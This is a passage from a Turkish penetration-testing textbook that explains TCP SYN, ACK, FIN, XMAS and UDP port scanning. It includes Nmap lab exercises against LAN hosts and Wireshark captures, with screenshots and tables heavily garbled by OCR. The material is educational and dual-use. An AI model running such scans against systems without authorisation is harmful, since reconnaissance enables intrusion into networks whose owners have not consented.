sonratarama aracitarafindan RST paketigonderilerek oturum sonlandiriimistir. Elde edilen bu paket akisi,
gerceklestirilen taramanin TCP Connect (-sT) tarama yéntemi oldugunu acik sekilde gostermektedir. Bu
yontem ile hedef sistemdeki ilgili port lizerinde TCP baglantisi tamamen kurulmakta ve portun durumu
bu baglanti sonucuna gore belirlenmektedir (Gorsel 2.12).

M Wi

DOSYA Dizenle Goriindm  Git  Yakala Analiz  istatistikler Telefon Kablosuz —Araclar  Yardim

DRRB Qe=s=F & = = a a FH

II |tcp‘port ==22

No. Time Source Destination Protocol Lengtl Info

192.168.1.27 192.1638. 2] cP 66 [TCP Retransmission

60 33482 » 22 [ACK] S

192.168.1.

Gorsel 2.12: TCP Conenct baglantisi paket incelemesi

2.2.1.2. TCP SYN (Yar1 Acik) Tarama

TCP SYN tarama, baglantiyi baslatir ancak tamamen kurmaz. Hedef sisteme bir baglanti istegi gonderilir
fakat Ggll el sikisma slreci tamamlanmadan islem sonlandirilir. Bu nedenle yontem, yari agik (half-
open) tarama olarak adlandirilir. Tarama araci hedef IP adresindeki belirlenen porta bir SYN paketi
gonderir.

« Sistem, SYN/ACK yaniti verirse portun acik oldugu anlasilir ancak baglanti
tamamlanmaz. Tarama araci genellikle RST gondererek oturumu sonlandirir.

TCP iletisiminde

. « Sistem dogrudan RST yaniti verirse port kapahdir.
yasanan gelismeler

séyledir: + Higbir yanit alinmazsa paket, bir glvenlik duvari tarafindan filtrelenmis
olabilir veya hedef sistem erisilemez durumdadir. Bu durumda port
filtrelenmis olarak kabul edilir.

Yontemde tam baglanti kurulmadigi icin uygulama katmanina gecilmez. Dolayisiyla TCP Connect
taramaya gore daha az kayit birakir ve daha sessiz kabul edilir. Ozellikle biyiik aglarda hizli &n kesif
(reconnaissance) amaciyla cogunlukla tercih edilir. SYN tarama, sistemin kapisini ¢alip iceriden buyurun
cevabini duyduktan sonra iceri girmeden geri ddonmeye benzetilebilir.
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,,,,,, : 3. Uygulama

Yerel agda bulunan 192.168.1.27 IP adresli sistem Gzerinde 22 numarali portun durumunu tespit etmek
amaciyla Nmap araci kullanilarak TCP SYN (-sS) tarama yontemi ile port taramasi gergeklestiriniz.
Tarama islemini gerceklestirirken ag trafigini Wireshark araciyla izleyiniz ve elde edilen paketleri
inceleyerek gergeklestirilen taramanin TCP SYN (yari agik) tarama yontemi oldugunu kanitlayiniz.

1. Adim: Yerel agda bulunan 192.168.1.27 IP adresli sistem Uzerinde 22 numaral portun durumunu
Nmap kullanarak test ediniz ve nmap -sS -p 22 192.168.1.27 komutunu kullanarak tek bir port izerinde
TCP SYN taramasi gergeklestiriniz (Gorsel 2.13).

6-03-16 16:49 EDT

2:A9:13:95 (Cloud Network Technology Singapore PTE.)

Nmap done: 1 IP address (1 host up) scanned in @.24 seconds

Gorsel 2.13: 22 numarali portun tarama sonucu

2. Adim: Birinci adimda gergeklestirilen TCP SYN port taramasi sirasinda ag trafigi Wireshark araci ile
izleyiniz ve elde edilen paketleri analiz ediniz. Yapilan inceleme sonucunda hedef sistem ile tarama
yapan makine arasinda gerceklesen TCP paket akisini filtreleme kismina tcp.port ==22 yazarak baglant
slirecini degerlendiriniz.

3. Adim: Degerlendirmenizi asagida yapilan tespit ile karsilastiriniz.

DEGERLENDIRME: 192.168.1.27 IP adresli sistem (izerinde gerceklestirilen tarama sirasinda Wireshark
ciktilarinda sirasiyla SYN ve SYN/ACK paketlerinin gonderildigi gortilmustir. SYN tarama yonteminde
baglanti baslatiimasina ragmen TCP Uiglii el sikisma stireci tamamlanmaz. Tarama araci SYN/ACK yanitini
aldiktan sonra ACK paketi gondermek yerine RST paketi gondererek baglantiyi sonlandirir. Elde edilen
bu paket akisi SYN = SYN/ACK - RST seklinde gerceklesmektedir. Bu durum, gerceklestirilen taramanin
TCP SYN (-sS) tarama yontemi oldugunu gostermektedir. SYN tarama yénteminde baglanti tam olarak
kurulmadigi igin uygulama katmanina gegilmez ve bu nedenle bu yontem TCP Connect taramaya gore
daha sessiz bir tarama teknigi olarak kabul edilmektedir (Gorsel 2.14).

[ |tcp‘por‘t ==22

No. Time Source Destination Protocol Lengtt Info
615 58.989233 192.168.1.100
5 1 .10@
617 58.989349 192.168.1.27

619 58.991471 168.1.100
620 58.991479 192.168.1.100 192.168.1.27
3513 210.750812 192.168.1.160 192.168.1.27

Gorsel 2.14: Paket analizi
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4. Adim: nmap -sS -p 22 --packet-trace 192.168.1.27 komutunu yazarak TCP SYN SCAN yapildigini farkh
bir yontemle dogrulayiniz.

m Nmap ciktisinda “SENT TCP ... S” ifadesi hedef sisteme SYN bayragi iceren bir TCP paketi

gonderildigini gosterir. Hedef sistemin “RCVD TCP ... SA” seklinde SYN/ACK yaniti vermesi,
ilgili portun acik oldugunu gosterir ayrica bu iki satir, SYN scan oldugunu kanitlar (Gorsel
2.15).

0D #1)
tion reques

for EID
S for EID 1
timeout:

is up (@
STAT
P open
ddre 21 A 3:95 loud Network Tec

Nmap done: 1 IP address (1 host up) scanned in @

Gorsel 2.15: Komut ¢iktis

Sira Sizde N

Bir sizma testi slirecinde hedef sistem (lizerinde c¢alisan servislerin erisilebilirligini analiz etmek
amaciyla Nmap aracini kullanarak TCP Connect (-sT) tarama yontemi ile belirli portlar tzerinde
tarama gerceklestiriniz. Hedef sistemde acik olan servisleri tespit ederek port durumlarini analiz
ediniz ve elde edilen bulgulari yorumlayiniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme o6lcutlerini dikkate aliniz.
. J

TCP ACK tarama, TCP Connect ve TCP SYN taramalarindan farkh olarak kullanilir. Bu yéntemin temel
amacl, dogrudan portun acik veya kapali olup olmadigini belirlemek degildir. Daha ¢ok, hedef sistem
ile kaynak arasinda bir giivenlik duvari veya paket filtreleme bulunup bulunmadigini analiz etmek igin
kullanilir. Bu taramada port gercekten kapali mi yoksa bir givenlik duvari tarafindan mi engelleniyor,
sorusuna cevap aranir. Bu yontemde hedef sisteme yalnizca ACK bayragi set edilmis bir TCP paketi
gonderilir. Normal sartlarda bir sistem, daha 6nce baslatiimamis bir baglanti icin gelen ACK paketini
gegersiz kabul eder ve RST yaniti Uretir. Hedef sistem RST yaniti verirse gonderilen paket, hedefe
ulasmis ve filtrelenmemis demektir. Bu durumda port, unfiltered olarak degerlendirilir ancak bu
durum, portun acik oldugu anlamina gelmez. Yalnizca arada aktif bir engelleme (giivenlik duvari vb.)
olmadigini gosterir. Hicbir yanit alinmazsa (timeout), gonderilen paketin buyik olasilikla bir gtivenlik
duvari tarafindan engellendigi anlasilir. Bu durumda port, filtered olarak degerlendirilir.
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TCP ACK tarama, portun agik mi kapali mi oldugunu net olarak sdylemez. Clnki agik veya kapali
bir port, baglanti baslatilmamis bir ACK paketine genellikle ayni sekilde RST yaniti verir. Bu nedenle
sonuc genellikle filtered veya unfiltered seklinde raporlanir. Bu yontem, glvenlik duvari kural setlerini
algilamak ve ag topolojisi hakkinda ¢ikarim yapmak icin oldukca kullanisli bilgiler verir ancak tek basina
portun servis durumunu belirlemek icin yeterli degildir. Bir sizma testinde yalnizca acik portlari bulmak
yeterli degildir.

« Hedef sistem ile test makinesi arasinda bir giivenlik duvari var mi?

Ayni zamanda su

sorulara da cevap « Filtreleme, duruma gore mi (stateful) yoksa sabit kurallarla mi galigiyor?

ranir: . . S .
ara « Hangi portlara erisim serbest, hangileri engellenmis?

Sizma testi sirasinda bazen SYN tarama sonuglari yaniltici olabilir. Ornegin bir port filtered goriinebilir
ancak bunun nedeni gercekten kapali olmasi degil bir glivenlik duvari politikasi olabilir. TCP ACK tarama
bu ayrimi yapmaya yardimci olur.

Paket filtreleme yapilip yapilmadigi anlasilabilir.

TCP ACK tarama

sayesinde sunlar
goriilebilir:

Stateful firewall davranisi gozlemlenebilir.

Ag topolojisi hakkinda ¢ikarim yapilabilir.

« Erisim kontrol listeleri (ACL) hakkinda dolayli bilgi edinilebilir.

Sonug olarak TCP ACK tarama, kesif ve haritalama asamasinda kullaniimasi gereken énemli bir tekniktir.

- 4. Uygulama

Yerel agda bulunan 192.168.1.27 IP adresli sistem (zerinde 22 numaral portun filtreleme durumunu
tespit etmek amaciyla Nmap araci kullanilarak TCP ACK (-sA) tarama yontemi ile port taramasi
gerceklestiriniz.

1. Adim: Yerel agda bulunan 192.168.1.27 IP adresli sistem lizerinde 22 numaral portun filtrelenip
filtrelenmedigini tespit etmek amaciyla Nmap araci kullanilarak TCP ACK (-sA) taramasi gergeklestirmek
icin nmap -sA -p 22 192.168.1.27 komutunu kullanarakilgili port tizerinde tarama yapiniz ve elde edilen
sonuglari inceleyiniz (Gorsel 2.16).

Nmap done: 1 I

Gorsel 2.16: Port taramasinin sonucu
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2. Adim: Birinci adimda gergeklestirilen TCP ACK port taramasi sirasinda elde edilen Nmap ¢iktilarini
inceleyerek portun filtreleme durumu degerlendiriniz.

3. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: 192.168.1.27 IP adresli sistem {izerinde yapilan tarama sonucunda 22 numarali
portun filtered durumda oldugu goriilmektedir. Bu durum, gonderilen ACK paketinin hedef sistem
tarafindan dogrudan yanitlanmadigini gostermektedir. Bliylk olasilikla arada bulunan bir giivenlik
duvari veya paket filtreleme mekanizmasi, gonderilen paketi engellemis ve hedef sistemden herhangi
bir yanit alinmasini dnlemistir. TCP ACK tarama yonteminde portun acik veya kapali oldugu dogrudan
belirlenemez. Bu yontem daha ¢ok génderilen paketin hedefe ulasip ulasmadigini ve arada aktif bir
filtreleme mekanizmasinin bulunup bulunmadigini tespit etmek amaciyla kullaniimaktadir. Bu nedenle
elde edilen filtrelenmis sonucu, ilgili portun bir glivenlik duvari veya benzeri bir glivenlik mekanizmasi
tarafindan filtrelenmis olabilecegini gostermektedir.

2.2.1.4. FIN Port Tarama Yontemleri

FIN port tarama yontemi, TCP bayrak (flag) degerlerinin kandirilma esasina dayali gelismis tarama
tekniklerinden biridir. Bu yontem, TCP protokoliiniin RFC taniminda belirtilen davranis modelinden
yararlanir. Bu yontemin amaci dogrudan klasik baglanti kurmak degil hedef sistemin olmayan bir
baglantidan kaynakl beklenmeyen bir TCP paketi karsisindaki tepkisini analiz etmektir.

TCP’de normal sartlarda baglanti sonlandirilirken FIN (Finish) bayragi kullanilir. Bu bayrak, mevcut bir
TCP oturumunun kapatilmak istendigini ifade eder. Ancak FIN taramada, ortada kurulmus bir baglant
olmamasina ragmen hedef porta yalnizca FIN bayragi set edilmis bir TCP paketi génderilir. Normal bir
TCP oturumu baslatilmadigi icin bu paket beklenmeyen bir paket olarak degerlendirilir.

FIN bayragi genellikle dort adimli bir kapanis slirecinin parcasidir. Bu slirece four-way handshake denir.

Bir taraf FIN gdnderir.

Four-way handshake

Karsi taraf ACK ile onaylar.
stirecinin ilerlemesi

séyledir: Karsi taraf kendi FIN paketini gonderir.

Lol A

ilk taraf ACK gdndererek baglantiyi tamamen sonlandirir.

« FIN_WAIT_1
Baglanti sonlandirma sirasinda * FIN_WAIT_2
TCP durumlari su sekilde « CLOSE_WAIT
ilerleyebilir: . LAST ACK
« TIME_WAIT
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Belirtilen durumlar, baglantinin kontrolli ve glvenli sekilde kapatilmasini saglar.

Yapilacak testlerde hedef « Eger port kapali ise sistem genellikle RST yaniti verir.

sistemin FIN bayragi set edilmis « Eger port agik ise RFC’ye uygun sistemler hicbir yanit vermez.

TCP paketine verebilecegi
tepkiler ise su sekildedir:

« Eger paket bir glvenlik duvari tarafindan engellenirse yanit
alinmaz ve port filtrelenmis olabilir.

Burada dikkat edilmesi gereken nokta, FIN taramada yanit gelmemesi ¢cogu zaman portun acik
olabilecegini gosterir ancak filtreleme ihtimali de her zaman g6z 6niinde bulundurulmalidir. Bu durum
TCP SYN taramadan farklidir. SYN taramada acik port, SYN/ACK ile yanit verirken FIN taramada agik port
genellikle sessiz kalr.

FIN tarama 6zellikle glivenlik duvariyapilandirmalarini test etmekicin kullanihr. Bazi basit firewall kurallari
valnizca SYN bayragi tasiyan paketleri denetler. SYN icermeyen paketler filtreleme mekanizmasindan
kacabilir.

- Basit paket filtrelerini tespit etmek

FIN tarama su « Guvenlik duvari kurallarini analiz etmek

amaglarla tercih
edilir:

- IDS/IPS sistemlerinin davranisini gbzlemlemek

« TCP stack implementasyon farklarini incelemek

Ozellikle ag (izerinde SYN taramafiltreleniyorsa FIN tarama alternatif bir ydntem olarak kullanilabilir ancak
modern sistemlerin buyik cogunlugu bu tir anormal bayrak kombinasyonlarini tespit edebilmektedir.
Bu nedenle FIN tarama bugiin daha ¢ok analiz ve davranis gbzlemi amaciyla kullanilmaktadir.

5. Uygulama

Yerel agda bulunan 192.168.1.191 IP adresli sistem Uzerinde 443 numarali portun durumunu test
ediniz. Bunun i¢in Nmap araci kullanilarak TCP FIN taramasi gerceklestiniz.

1. Adim: Yerel agda bulunan 192.168.1.191 IP adresli sistem Uizerinde 443 numarali portun durumunu
tespit etmek amaciyla Nmap araci kullanilarak TCP FIN (-sF) taramasi gerceklestiriniz. Bunun igin
nmap -sF -p 443 192.168.1.191 komutunu kullanarak ilgili port lizerinde tarama yapiniz ve elde edilen
sonuglari inceleyiniz (Gorsel 2.17).

Gorsel 2.17: 443 No.lu portun tarama sonucu
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2. Adim: Birinci adimda gergeklestirilen TCP FIN port taramasi sonucunda elde edilen Nmap ¢iktilarini
inceleyerek portun durumunu degerlendiriniz.

3. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: 192.168.1.191 IP adresli sistem (izerinde yapilan tarama sonucunda 443 numarali
portun open|filtered durumda oldugu gorilmektedir. Bu sonug, gonderilen FIN bayragi iceren TCP
paketine hedef sistemin herhangi bir yanit vermedigini gostermektedir.

« Eger port kapali ise sistem genellikle RST yaniti gonderir.

TCP FIN tarama yénteminde « Eger port agik ise RFC standartlarina uygun sistemler genellikle
hedef sistemin davranisi su hicbir yanit vermez.

S T « Eger paket bir gilivenlik duvari veya paket filtreleme mekaniz-

masi tarafindan engellenirse yine yanit alinmayabilir.

Nmap, yanit ainmayan durumlarda portu open|filtered olarak raporlamaktadir. Baska bir deyisle
portun gercekten acik olup olmadigi ya da bir glivenlik duvari tarafindan filtrelenip filtrelenmedigi kesin
olarak belirlenememektedir. Bu tarama sonucunda elde edilen open | filtered sonucu, 192.168.1.191 IP
adresli sistem lizerinde bulunan 443 numarali portun agik olabilecegini veya arada bulunan bir glivenlik
duvari tarafindan filtrelenmis olabilecegini gostermektedir. Daha kesin bir sonug elde edebilmek igin
TCP SYN veya TCP Connect tarama yontemleri ile ek dogrulama yapilmasi onerilir.

2.2.1.5. XMAS Tarama Yontemleri

XMAS tarama, TCP bayraklarinin 6zel kombinasyonlarla degistirilip kullanilmasi esasina dayanan port
tarama tekniklerinden biridir. Bu yontem, klasik baglanti kurma mantigindan tamamen farklidir. Amag;,
bir TCP oturumu baslatmak degil hedef sistemin beklenmeyen ve standart disi bir TCP paketine verdigi
tepkiyi analiz etmektir. Baglanti kurulmamis bir porta gonderilen anormal bayrak kombinasyonlarina
sistemin nasil tepki vermesi gerektigi, TCP protokoll RFC dokiimanlarinda tanimlanmistir. XMAS tarama,
bu davranis modelinden yararlanir. TCP baglanti temelli bir protokolddr.

- SYN
+ SYN/ACK

TCP normal akis su . ACK
sekildedir: A Baglanti kurulur.

A Veri alisverisi yapilir.

A FIN ile sonlandirilr.

Baska bir deyisle FIN, PSH, URG gibi bayraklar ancak aktif bir baglanti (established state) varken bir
anlam ifade eder. Ortada daha Once baslatilmis bir baglanti yoksa ve herhangi bir oturum durumu
(session state) bulunmuyorsa buna ragmen hedef porta; sadece FIN, FIN + PSH + URG (XMAS) veya hig
bayrak set edilmemis (NULL scan) tiiriinde bir paket gelmesi halinde bu, TCP agisindan beklenmeyen
durum (unexpected segment) olarak degerlendirilir. Bu bayraklar yalnizca aktif bir TCP oturumunun
parcasi olabilir.
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Baglanti yokken FIN gelmesi, sistem acisindan “Var olmayan bir baglantiyi kapatmaya calisiyorum.”
anlamini ifade eder. Bu, protokol agisindan istenmeyen anlamsiz bir durumdur.

XMAS taramada gonderilen TCP paketinde

ayni anda set edilen bayraklar sunlardir:

FIN
PSH
URG

Bazi uygulamalarda RST harig diger kontrol bayraklarinin gogu aktif hale getirilebilir ancak klasik XMAS
taramada FIN, PSH ve URG kombinasyonu set edilir. Normal bir TCP iletisiminde bu U¢ bayragin ayni
anda, Ustelik ortada aktif bir baglanti yokken génderilmesi beklenen bir durum degildir. Bu nedenle
hedef sistemin verdigi cevap, portun durumu hakkinda bilgi Gretir (Tablo 2.4).

Tablo 2.4: TCP Bayragi Agiklamalari

Hedef Sistem . Olasi Port .
" Teknik Agiklama Sizma Testi Yorumu
Tepkisi Durumu

Sistem, ilgili portta aktif bir

Port biyiik ihtimalle kapalidir
ancak bazi isletim sistemleri

verilmemesi

yok sayar veya firewall,
paketi sessizce disurur.

Open | Filtered

RST paketi . , Closed - N
. . . baglanti bulamaz ve RFC’ye . acik portta da RST donebilir.
gonderilmesi ) L (cogunlukla) N
uygun sekilde reset Uretir. Bu nedenle diger taramalarla
dogrulanmalidir.
. . Port acik olabilir ya da paket
. Sistem, anormal segmenti : . . )
Hig yanit filtrelenmis olabilir. Kesin

karar icin SYN tarama ile
karsilastirma yapilmahdir.

ICMP hata mesaji

Paket, ag veya firewall

Portun durumu belirlenemez.

veriyor olabilir.

(6rnegin Type 3 L Filtered Ag seviyesinde filtreleme
tarafindan engellenmistir.

Code 13) vardir.
TCP implementasyonu

. RFC davranisini birebir XMAS tarama guvenilirligini

Tum portlarda RST . - e .
uygulamiyor olabilir veya Belirsiz kaybeder. Isletim sistemi farki

alinmasi . I . . . . -
glvenlik cihazi midahalesi veya IPS miidahalesi olabilir.
vardir.

. Guvenlik cihazi varlig
. Stateful firewall veya IPS

Tutarsiz / degisken i . . o arastirilmahidir. Farkli tarama
trafik davranisina gore tepki | Belirsiz L

yanitlar teknikleriyle korelasyon

yapilmahdir.

Teknik, adini TCP paketinin bir¢ok bayraginin ayni anda aktif edilmesinden alir. Paket, bir yilbagi agaci
goriintusa gibidir. Bu nedenle literatlirde Christmas Tree Scan olarak da gecer.

@ SIZMA TESTI



BiLGi TOPLAMA VE KESIiF YONTEMLERI

6. Uygulama

Yerel agda bulunan 192.168.1.27 IP adresli sistem (izerinde 443 numarali portun durumunu test ediniz.
Bunun i¢in Nmap araci kullanilarak TCP XMAS taramasi gerceklestiriniz ve sonuglari yorumlayiniz.

1. Adim: Yerel agda bulunan 192.168.1.27 IP adresli sistem Uzerinde 443 numaral portun durumunu
tespit etmek amaciyla Nmap araci kullanilarak XMAS taramasi gerceklestiriniz. Bunun icin nmap -sX
-p 443 192.168.1.27 komutunu kullanarak ilgili port Gzerinde tarama yapiniz ve elde edilen sonuglari
inceleyiniz (Gorsel 2.18).

B3-16 18:10 EDT

« Technology Sin

Nmap done: ] address (1 host up) scanned 1n 0.45 s¢

Gorsel 2.18: Port tarama sonucu

2. Adim: Birinci adimda gergeklestirilen TCP XMAS port taramasi sirasinda elde edilen Nmap ¢iktilarini
ve ag trafigini Wireshark araciligiyla inceleyerek degerlendiriniz.

3. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Wireshark tizerinde génderilen TCP paketinin FIN, PSH ve URG bayraklarini icerdigi
gorilecektir (Gorsel 2.19). Hedef sistemin bu pakete verdigi yanit, portun durumunun yorumlanmasini

v
saglar.
g6 XNE QewEFLI[Eaaar
[ |tcp‘pcrt::443‘
No. Time Source Destination Protocol Lengtt Info

58 7.500591 104.16.102.112 192.168.1.27 TLSv1.
59 7.502011 152.168.1.27 104.16.102.112 TLSvI.

)

92 Appllcatlon Data
96 Application Data

)

61 7.547481 104.16.102.112
70 11.011656 192.168.1.27 170.114.2.61 TLSv1.

¥

78 Applltat]on Data

@
=
=
©
~
=
@
&
=
Y -
<
-
=l
w
<
s
¥

o1l

72 11.147862 170.114.2.

73 11.190626 192.168.1.27 176.114.2.61 TCP 54 43252 > 443 [ACK] Seq 29 Ack=25 Win=254 Len=0
g 92 1 5 CP 3252

192.168.1.27 157.240.238.60 TLSv1.2 124 Appllcahon Data

89 14.269662 157.2408.238.60 192.168.1.27 TCP 56 443 > 47154 [ACK] Seq=1 Ack=71 Wln 359 Len=@

9@ 14.314185 157.248.238.60 192.168.1.27 TLSvl.2 126 Application Data

91 14.357235 192.168.1.27 157.240.238.60 TCP 54 47154 » 443 [ACK] Seq=71 Ack=73 Win=256 Len=0
68 91#1] 47154 » 443 [ACK] Seg=71

95 14.419399 23.205.48.77 192.168.1.27 TLSv1.

[N}

85 Encrypted Alert

Gorsel 2.19: Paket incelemesi
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TCP FIN tarama yonteminde hedef sistemin davranisi su sekilde yorumlanir:

192.168.1.27 IP adresli sistem lizerinde yapilan tarama sonucunda 443 numaral portun open |[filtered
durumda oldugu gorilmektedir. Bu sonug, hedef sisteme gonderilen FIN, PSH ve URG bayraklarini
iceren TCP paketine sistem tarafindan herhangi bir yanit verilmedigini gostermektedir.

« Eger port kapali ise sistem genellikle RST yaniti gonderir.

TCP XMAS tarama yénteminde
hedef sistemin verdigi tepkiler
su sekilde yorumlanir:

« Eger port agik ise RFC standartlarina uygun sistemler bu tir
anormal paketlere higbir yanit vermez.

« Eger paket bir gilivenlik duvari veya paket filtreleme mekaniz-
masi tarafindan engellenirse yine yanit alinmayabilir.

Nmap, bu nedenle yanit alinmayan durumlari open|filtered olarak raporlamaktadir. Baska bir deyisle
ilgili portun gercekten acik olup olmadigi veya bir glivenlik duvari tarafindan filtrelenip filtrelenmedigi
kesin olarak belirlenememektedir. Bu tarama sonucuna gore 192.168.1.27 IP adresli sistem lizerindeki
443 numarali portun agik olabilecegi veya bir glivenlik mekanizmasi tarafindan filtrelenmis olabilecegi
degerlendirilmektedir. Daha kesin bir sonug elde edebilmek i¢in TCP SYN (-sS) veya TCP Connect (-sT)
tarama yontemleri ile ek dogrulama yapilmasi 6nerilmektedir.

2.2.2. UDP Port Tarama Yontemleri

TCP portlarinin incelenmesi, bir sistem hakkinda 6nemli bilgiler sunar ancak tiim servisler TCP (izerinden
calismaz. DNS, SNMP, DHCP, TFTP, bazi VolP uygulamalari gibi bircok 6nemli servis UDP (User Datagram
Protocol) kullanir. Bu nedenle sizma testi siirecinde sadece TCP portlarini incelemek yeterli degildir.
UDP portlarinin da incelenmesi gereklidir.

UDP, TCP’den farkh olarak baglantisiz (connectionless) bir protokoldir. Baska bir deyisle veri iletimi
baslamadan dnce herhangi bir Gcli el sikisma sireci gerceklesmez. Gonderici, paketi dogrudan hedefe
iletir. Hedef sistem, paketi alir ya da almaz. Bu yapisi nedeniyle UDP daha hizlidir ancak TCP’ye kiyasla
hata kontrol ve oturum dogrulama sistemlerini icermez. Port tarama acisindan bu durum énemli bir
farkhlik yaratir. TCP’de hedef sistemin verdigi yanitlara bakarak acik, kapali veya filtrelenmis portlar
daha net yorumlanabilirken UDP’de yanitlar daha sinirlidir. Cogu zaman yanit alinmamasi dahi basli
basina bir yorum gerektirir.

UDP Tarama Mantigi: Hedef sistemin belirlenen portuna UDP paketi génderilir. Bu paket genellikle bos
veya basit bir veri icerebilir. Hedef sistemin verdigi tepkiye gore portun durumu degerlendirilir.

+ Hedef sistemden ICMP Port Unreachable mesaji donerse ilgili UDP

portunun kapali oldugu anlasilr.

Paket gonderildikten
2 » Higbir yanit alinmazsa port agik veya filtrelenmis olabilir. Clinkl bircok UDP

servisi, gecersiz veya bos bir istege yanit vermeyebilir.

sonra olusan
durumlar sunlardir:

« Gonderilen pakete uygulama katmanindan bir yanit gelirse ilgili UDP
portunun agik oldugu dusiinilebilir.
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Burada 6nemli nokta, UDP tarama sonuglarinin ¢ogu zaman open|filtered seklinde yorumlanmasidir.
Bunun nedeni, yanit alinmamasinin hem acgik bir servisten hem de bir glivenlik duvarindan
kaynaklanabiliyor olabilecegidir.

Sizma testinde UDP tarama genellikle ikinci agsamada yapilir.

« TCP’ye gore daha yavas sonug verir.

ikinci asamada

yapilmasinin + ICMP hiz sinirlamalari (rate limiting) nedeniyle gecikmeler olusabilir.

ERERETEETETE |, yant yorumlamasi daha zordur.

Kritik 6neme sahip servislerin blyik kismi UDP lzerinden galisir.

Ozellikle su gibi servisler yanls + DNS (53/udp)

yapilandirildiginda ciddi giivenlik « SNMP (161/udp)

aciklarina yol agabilir: . NTP (123/udp)

« Acik birakilmis gereksiz servisler tespit edilebilir.
UDP tarama
ile su islemler
gergeklestirilebilir:

- Versiyon bilgisi sizdiran servisler belirlenebilir.

Amplification saldirilarina agik servisler kesfedilebilir.

- ic ag topolojisi hakkinda gikarim yapilabilir.

UDP baglantisiz bir protokol oldugu icin stateful firewalllar farkli davranis sergileyebilir.

Bircok giiventik « Gelen UDP paketlerini varsayilan olarak engeller.

duvari sunlari - ICMP hata mesajlarini filtreleyebilir.

yapabilir: « Yanit Uretimini sinirlandirabilir.

Test yapan kisinin sonuclari dikkatli yorumlamasi gerekir. Yanit alinmamasi her zaman portun acik
oldugu anlamina gelmez, cogu zaman filtreleme ihtimali de g6z 6niinde bulundurulmalidir.
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7.Uygulama

Yerel agda bulunan 192.168.1.191 IP adresli sistem Uzerinde 443 numarali UDP portunun durumunu
tespitetmekamaciylaNmaparacikullanilarak UDP (-sU) taramayontemiile porttaramasigerceklestiriniz.

1. Adim: Yerel agda bulunan 192.168.1.191 IP adresli sistem lizerinde 443 numarali UDP portunun
durumunu tespit etmek amaciyla nmap -sU -p 443 192.168.1.191 komutunu yazarak UDP (-sU)
taramasi gerceklestiriniz (Gorsel 2.20).

S

IJp
STATE SERVICE

chnolos

Nmap done: 1 IP address (1 host up) scanned in @.

Gorsel 2.20: Portun tarama sonucu

2. Adim: Birinci adimda gergeklestiriien UDP port taramasi sirasinda elde edilen Nmap c¢iktilarini
inceleyerek port durumunu degerlendiriniz.

3. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: 192.168.1.191 IP adresli sistem {zerinde yapilan tarama sonucunda 443 numarali
UDP portunun closed durumda oldugu goérilmektedir. Bu durum hedef sistemin gonderilen UDP
paketine karsilik ICMP Port Unreachable mesaji dondirdigiini gostermektedir. Bu mesaj, ilgili UDP
portu Uzerinde aktif bir servis bulunmadigini ifade etmektedir. Bu tarama sonucunda elde edilen
closed sonucu, 192.168.1.191 IP adresli sistem Gzerinde 443 numarali UDP portunda aktif bir servis
bulunmadigini gbstermektedir. Bunun nedeni, ¢cogu sistemde 443 portunun HTTPS servisi tarafindan
TCP protokolii lizerinden kullanilmasi, UDP {izerinde ise herhangi bir servis calismamasidir. Onceki
orneklerde incelendiginde HTTPS servisi tarafindan TCP protokollinin agik oldugu gorilmektedir.

UDP tarama yonteminde hedef sistemden gelen yanitlar, port durumunun yorumlanmasinda dnemli
rol oynar. 192.168.1.27 numarali IP adresinin 443 numaral portuna yapilan UDP tarama sonucunda
hedef sistem, gonderilen UDP paketine ICMP Port Unreachable yaniti vermekte ve port closed olarak
degerlendirilmektedir (Gorsel 2.21).

DOSYA Duzenle Gorlndm Git  Yakala Analiz  Istatistikler Telefon Kablosuz Araglar  Yardim

T X QewSFoI[Eaaar
No, Time Source Destination Protocol Lengtl Info
58 1,.798723 184.1%8.32.47 192.168.1.27 uoe 427 443 + 55782 Len=385
61 1.8684122 192.168.1.27 184.18.32.47 une 87 55782 - 443 Len=45
B2 1.884153 192.168.1.27 184.18.32.47 une B7 557082 - 443 Len=45
63 1.81465%0 104.18.32.47 192.168.1.27 uoe 1243 443 = 55702 Lens1204
64 1.81469%0 184.18.32.47 192.168.1.27 une 417 443 =+ 55782 Len=375
65 1.817724 192.168.1.27 104.18.32.47 uoP 87 55702 + 443 Len=45
66 1.817741 192.168.1.27 104.18.32.47 uoe 87 55702 + 443 Len=45
67 2.138093 192.168.1.27 216.239.38.120 uoe 71 56455 <+ 443 Len=29
68 2.1381e4 192.168.1.27 216.2359.38.120 uoe 71 56455 + 443 Len=29
69 2.184088 216.239.38.120 192.168.1.27 €8 443 = 56455 Len=26

94 3.709145 192.168.1.100 192.168.1.27 18% Client Hello

Ea 183 1G24 100 283 g8 4 a2 208 C1iood uodd

Gorsel 2.21: Paket analiz sonuglari
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Herhangi bir yanit alinmazsa port open|filtered olarak yorumlanabilir. Bu durumdan portun gergekten
acik olabilecegi gibi bir glivenlik duvari tarafindan filtrelenmis olabilecegi anlami da ¢ikabilir.

r®
) B

Sira Sizde

Bir sizma testi stirecinde hedef sistem lizerinde ¢alisan UDP tabanli servisleri tespit etmek amaciyla
Nmap aracini kullanarak UDP (-sU) tarama yontemi ile port taramasi gergeklestiriniz. Belirli UDP
portlarini analiz ederek portlarin durumlarini inceleyiniz ve elde ettiginiz sonuglari sizma testi

perspektifinden degerlendiriniz.
x Y,

2.2.3. Agresif Tarama Yontemleri

Agresif tarama (Aggressive scan), hedef sistem hakkinda mimkiin olan en fazla bilgiyi tek bir tarama
slreci igcinde toplamayi amaglayan kapsamli bir kesif yontemidir. Bu yaklasimda amag yalnizca portlarin
actk veya kapali oldugunu belirlemek degil ayni zamanda servis stiriimleri, isletim sistemi tahmini, ag
topolojisi ve potansiyel zafiyetler hakkinda bilgi edinmektir.

Klasik port taramalarinda genellikle tek bir teknik (6rnegin SYN tarama veya FIN tarama) uygulanir.
Agresif taramada ise birden fazla kesif teknigi uygulanir. Bu nedenle daha fazla trafik Uretir ve hedef
sistem tarafindan fark edilme olasiligi daha yuksektir. Agresif tarama yontemi ile su bilgiler hedeften
toplanmaya cahsilir:

Isletim Sistemi Tespiti (-0): Hedef sistemin TCP/IP paketlerine verdigi yanitlarin analiz edilmesine
